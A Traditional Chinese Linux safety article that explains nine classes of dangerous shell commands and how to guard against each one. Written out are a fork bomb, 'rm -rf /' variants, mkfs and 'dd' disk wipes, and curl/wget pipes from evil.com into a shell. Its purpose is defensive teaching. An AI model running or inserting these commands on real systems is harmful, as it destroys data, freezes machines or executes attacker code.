前言
Linux Shell 權力極大,**無確認提示、無回收桶、不可復原**。本文列出 9 類極高風險命令,解析破壞原理與防範措施,**嚴禁在生產環境嘗試**。
1. Fork Bomb:`:(){ :|:& };:`
:(){ :|:& };:
- 定義函數 `:`,遞歸呼叫自身並置於背景,指數級產生進程耗盡 PID/記憶體,系統凍結。
- **只能硬體重啟恢復**。
- 防範:`ulimit -u 1000` 限制使用者最大進程數;`/etc/security/limits.conf` 設定 `hard nproc`。
2. `mv 目錄 /dev/null`:資料黑洞
mv /important/data /dev/null
- `/dev/null` 是空裝置,寫入即丟棄。mv 移動目錄至 `/dev/null` 相當於**永久刪除**,無法恢復。
- 防範:別對 `/dev/null` 做寫入/移動操作;重要資料備份、快照。
3. `rm -rf` 變體:誤刪根目錄/當前目錄
| 命令 | 後果 |
rm -rf / | 刪除根目錄所有檔案(需 `--no-preserve-root` 才執行,現代系統預設保護) |
rm -rf * | 刪除當前目錄所有檔案(含隱藏檔) |
rm -rf . | 刪除當前目錄及子目錄 |
rm -rf .[^.]* | 刪除所有隱藏檔/目錄 |
- 防範:`alias rm='rm -i'` 互動確認;使用 `trash-cli` 替代刪除;重要目錄設 `chattr +i`。
4. `mkfs` 系列:格式化磁碟分區
mkfs.ext4 /dev/sda1
mkfs.xfs /dev/sdb
mkfs.vfat /dev/sdc1
- 瞬間摧毀檔案系統結構,資料幾乎不可救援。
- 防範:極度謹慎確認裝置路徑;使用 `lsblk -f` 核對;生產庫存分區表備份。
5. Tar Bomb:解壓炸彈
tar -xvf malicious.tar
- 壓縮包內含大量檔案**無根目錄**,解壓時散落當前目錄,覆蓋同名檔案、污染環境。
- 防範:解壓前 `mkdir newdir && cd newdir && tar -tvf ../file.tar` 先列表;或 `tar -xvf file.tar --one-top-level`。
6. `dd`:塊層級複製/摧毀
dd if=/dev/zero of=/dev/sda # 清零整顆硬碟
dd if=/dev/sda of=/dev/sdb # 複製磁碟(方向反則毀來源)
- `dd` 不做任何確認,輸入輸出裝置反轉即造成不可逆破壞。
- 防範:`alias dd='dd status=progress'` 顯示進度;**三次核對 if/of**;測試環境先用 `of=/tmp/test.img`。
7. 惡意 Shell 腳本遠端執行
wget https://evil.com/script.sh -O- | sh
curl https://evil.com/script.sh | bash
- 下載並立即執行未經審核的程式碼,等同授予 root 權限給攻擊者。
- 防範:**絕不管道直執行**;先下載、審閱、再執行;僅信任官方源。
8. 編譯執行不可信原始碼
tar -xzf unknown.tar.gz
cd unknown
make
sudo make install
- 大型專案中藏惡意程式碼(挖礦、後門、竊取金鑰),編譯安裝即中招。
- 防範:僅編譯可信來源(官方倉庫、知名專案);使用容器/沙箱測試。
9. 解壓縮炸彈
- 極小壓縮檔(KB 級)實為高度壓縮的巨大資料(GB/TB 級),解壓瞬間填滿磁碟導致系統癱瘓。
- 防範:解壓前用 `ls -lh` 看大小、`file` 判斷類型、限制磁碟配額 (`quota`)、在隔離目錄解壓。
總結防禦原則
- **最小權限**:非必要不使用 root。
- **備份先行**:重要操作前快照/備份。
- **確認三遍**:裝置路徑、目標目錄、命令參數。
- **別貪方便**:拒絕 `curl ... | bash`、`wget ... | sh`。
- **限制資源**:`ulimit`、磁碟配額、cgroups。
結語
這 9 類命令是 Linux 系統的「核武器」,認知風險、建立肌肉記憶防禦,才能在操作邊緣保持安全。**寧可慢三秒確認,不可快一鍵毀滅。**